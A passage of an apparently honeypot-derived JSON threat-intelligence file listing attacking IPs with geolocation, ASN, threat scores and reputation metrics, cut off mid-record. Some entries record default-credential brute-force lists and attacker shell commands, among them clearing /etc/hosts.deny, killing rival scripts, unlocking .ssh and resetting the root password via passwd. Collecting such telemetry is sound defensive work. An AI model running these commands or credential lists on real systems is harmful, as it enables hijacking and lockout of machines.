        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "106.53.19.54": {
      "attack_count": 4,
      "first_seen": "2026-03-09T21:09:47.295Z",
      "last_seen": "2026-03-09T21:11:47.298Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:09:47.295000+00:00",
        "last_seen_30d": "2026-03-09T21:21:51.653000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "120.48.177.193": {
      "attack_count": 4,
      "first_seen": "2026-03-24T05:47:18.398Z",
      "last_seen": "2026-03-24T05:47:19.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T05:47:18.398000+00:00",
        "last_seen_30d": "2026-03-24T05:48:27.055000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "124.89.119.4": {
      "attack_count": 4,
      "first_seen": "2026-03-20T18:25:31.088Z",
      "last_seen": "2026-03-20T18:25:32.473Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Xi'an",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-15T12:01:57+00:00",
        "last_seen_30d": "2026-03-20T18:27:10.184000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "170.64.138.44": {
      "attack_count": 4,
      "first_seen": "2026-03-15T17:25:06.469Z",
      "last_seen": "2026-03-16T02:51:45.395Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T17:25:06.469000+00:00",
        "last_seen_30d": "2026-03-16T02:52:49.591000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "195.211.96.85": {
      "attack_count": 4,
      "first_seen": "2026-03-22T18:52:52.030Z",
      "last_seen": "2026-03-22T18:52:52.449Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 204957,
      "as_org": "Green Floid LLC",
      "threat_score": 49.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 24.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 29,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:04:50.903000+00:00",
        "last_seen_30d": "2026-03-30T05:56:17.942000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 4
      }
    },
    "198.235.24.144": {
      "attack_count": 4,
      "first_seen": "2026-03-17T16:38:02.415Z",
      "last_seen": "2026-03-17T16:38:06.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 56.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 19.2,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 23,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T01:37:34+00:00",
        "last_seen_30d": "2026-03-27T08:21:18.875000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 9,
        "Cowrie": 4
      }
    },
    "205.210.31.243": {
      "attack_count": 4,
      "first_seen": "2026-03-31T10:25:02.439Z",
      "last_seen": "2026-03-31T10:25:05.978Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T09:03:16.539000+00:00",
        "last_seen_30d": "2026-03-31T10:26:10.433000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 36,
        "Cowrie": 4,
        "Dionaea": 1,
        "Tanner": 1,
        "Wordpot": 1
      }
    },
    "206.168.34.217": {
      "attack_count": 4,
      "first_seen": "2026-03-17T21:33:04.461Z",
      "last_seen": "2026-03-17T21:33:20.376Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 44.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 15.8,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 19,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T20:43:28.433000+00:00",
        "last_seen_30d": "2026-03-20T13:49:12.172000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 4,
        "ElasticPot": 4,
        "Honeytrap": 3,
        "Dionaea": 1
      }
    },
    "43.224.126.107": {
      "attack_count": 4,
      "first_seen": "2026-03-02T01:25:49.498Z",
      "last_seen": "2026-03-28T04:11:59.178Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sri Lanka",
      "country_code": "LK",
      "city": "Pugoda",
      "asn": 132124,
      "as_org": "Information and Communication Technology Agency of Sri Lanka",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T01:25:49.498000+00:00",
        "last_seen_30d": "2026-03-28T04:41:32.820000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "64.225.106.223": {
      "attack_count": 4,
      "first_seen": "2026-03-29T04:31:09.284Z",
      "last_seen": "2026-03-29T04:31:29.285Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-28T16:32:23+00:00",
        "last_seen_30d": "2026-03-31T13:20:09.694000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Ipphoney": 1
      }
    },
    "8.243.169.150": {
      "attack_count": 4,
      "first_seen": "2026-03-22T14:28:12.812Z",
      "last_seen": "2026-03-23T05:04:35.049Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 3356,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T14:28:12.812000+00:00",
        "last_seen_30d": "2026-03-23T05:05:41.172000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "12.163.139.34": {
      "attack_count": 3,
      "first_seen": "2026-03-20T23:00:08.508Z",
      "last_seen": "2026-03-20T23:01:21.007Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T23:00:08.508000+00:00",
        "last_seen_30d": "2026-03-20T23:02:27.810000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "160.25.81.217": {
      "attack_count": 3,
      "first_seen": "2026-03-15T02:45:14.050Z",
      "last_seen": "2026-03-15T02:45:18.076Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135932,
      "as_org": "Viet Storage Technology Joint Stock Company",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T02:45:14.050000+00:00",
        "last_seen_30d": "2026-03-15T02:46:26.354000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "64.62.197.197": {
      "attack_count": 3,
      "first_seen": "2026-03-29T06:26:27.333Z",
      "last_seen": "2026-03-29T06:26:27.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 324,
        "days_active_30d": 30,
        "ports_targeted_30d": 89,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T10:29:36+00:00",
        "last_seen_30d": "2026-03-31T14:56:10.164000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 196,
        "Honeytrap": 108,
        "H0neytr4p": 8,
        "Cowrie": 3,
        "Ipphoney": 3,
        "ConPot": 2,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "Honeyaml": 1
      }
    },
    "100.2.143.75": {
      "attack_count": 2,
      "first_seen": "2026-03-06T18:14:55.628Z",
      "last_seen": "2026-03-06T18:15:07.864Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T18:14:55.628000+00:00",
        "last_seen_30d": "2026-03-06T18:16:13.372000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.104.53.169": {
      "attack_count": 2,
      "first_seen": "2026-03-06T04:09:56.726Z",
      "last_seen": "2026-03-06T04:10:09.375Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Haldwani",
      "asn": 136697,
      "as_org": "In Broadband Private Limited",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T04:09:56.726000+00:00",
        "last_seen_30d": "2026-03-06T04:11:14.965000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.158.176.166": {
      "attack_count": 2,
      "first_seen": "2026-03-09T22:31:28.026Z",
      "last_seen": "2026-03-09T22:31:40.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "W\u014fnju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:31:28.026000+00:00",
        "last_seen_30d": "2026-03-09T22:32:45.607000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.107.185.138": {
      "attack_count": 2,
      "first_seen": "2026-03-19T20:18:47.484Z",
      "last_seen": "2026-03-19T20:19:18.170Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Bulacan",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T20:18:47.484000+00:00",
        "last_seen_30d": "2026-03-19T20:20:25.188000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.46.128.91": {
      "attack_count": 2,
      "first_seen": "2026-03-27T00:57:52.346Z",
      "last_seen": "2026-03-27T00:58:06.086Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 28166,
      "as_org": "Telecom South America Ltda",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T00:57:52.346000+00:00",
        "last_seen_30d": "2026-03-27T00:59:14.260000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.180.189.193": {
      "attack_count": 2,
      "first_seen": "2026-03-22T09:03:52.118Z",
      "last_seen": "2026-03-22T09:04:06.441Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 17813,
      "as_org": "Mahanagar Telephone Nigam Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T09:03:52.118000+00:00",
        "last_seen_30d": "2026-03-22T09:05:09.861000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.183.99.213": {
      "attack_count": 2,
      "first_seen": "2026-03-28T00:28:05.936Z",
      "last_seen": "2026-03-28T00:28:20.156Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T00:28:05.936000+00:00",
        "last_seen_30d": "2026-03-28T00:29:28.526000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.29.42.181": {
      "attack_count": 2,
      "first_seen": "2026-03-08T01:44:41.468Z",
      "last_seen": "2026-03-08T01:44:56.683Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Miass",
      "asn": 8369,
      "as_org": "Intersvyaz-2 JSC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T01:44:41.468000+00:00",
        "last_seen_30d": "2026-03-08T01:46:06.164000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.55": {
      "attack_count": 2,
      "first_seen": "2026-03-11T18:08:41.319Z",
      "last_seen": "2026-03-11T18:08:41.320Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 79.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:47:55+00:00",
        "last_seen_30d": "2026-03-31T07:47:09.752000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 32,
        "Cowrie": 2
      }
    },
    "138.255.66.19": {
      "attack_count": 8291,
      "first_seen": "2026-03-02T06:09:06.097Z",
      "last_seen": "2026-03-02T20:14:36.059Z",
      "sessions": 2769,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 263970,
      "as_org": "Strike Net Provedor de Acesso a Internet",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14031,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:09:06.097000+00:00",
        "last_seen_30d": "2026-03-02T20:15:39.232000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8291,
        "Suricata": 5740
      }
    },
    "178.128.250.170": {
      "attack_count": 1316,
      "first_seen": "2026-03-02T08:48:24.952Z",
      "last_seen": "2026-03-02T10:48:46.683Z",
      "sessions": 259,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "ec2-user",
        "ftp",
        "guest",
        "mysql",
        "nginx",
        "oracle",
        "pi",
        "postgres",
        "test",
        "ubuntu",
        "user",
        "es"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password1",
        "qwerty",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1860,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:48:24.952000+00:00",
        "last_seen_30d": "2026-03-02T10:49:51.006000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1316,
        "Suricata": 544
      }
    },
    "103.175.206.22": {
      "attack_count": 658,
      "first_seen": "2026-03-02T23:15:07.622Z",
      "last_seen": "2026-03-22T12:23:23.192Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "karim",
        "astra",
        "devman",
        "jun",
        "km",
        "mailuser",
        "Test",
        "aa",
        "admin1",
        "ahmad",
        "angga",
        "ann",
        "aroot",
        "dan",
        "escaner",
        "francesco",
        "ftpadmin",
        "ghostadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "123456",
        "123",
        "1233218613f",
        "12345",
        "123454321",
        "123qazWSX",
        "Abc123abc",
        "Da123456",
        "Devman123!",
        "Ds123456..",
        "Ftpadmin123",
        "P@ssw0rd12345!",
        "Qazwsx123",
        "Qwer0987",
        "Server1234",
        "Shoutcast123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n95eR5gPXjK9f\\n95eR5gPXjK9f\\n\"|passwd",
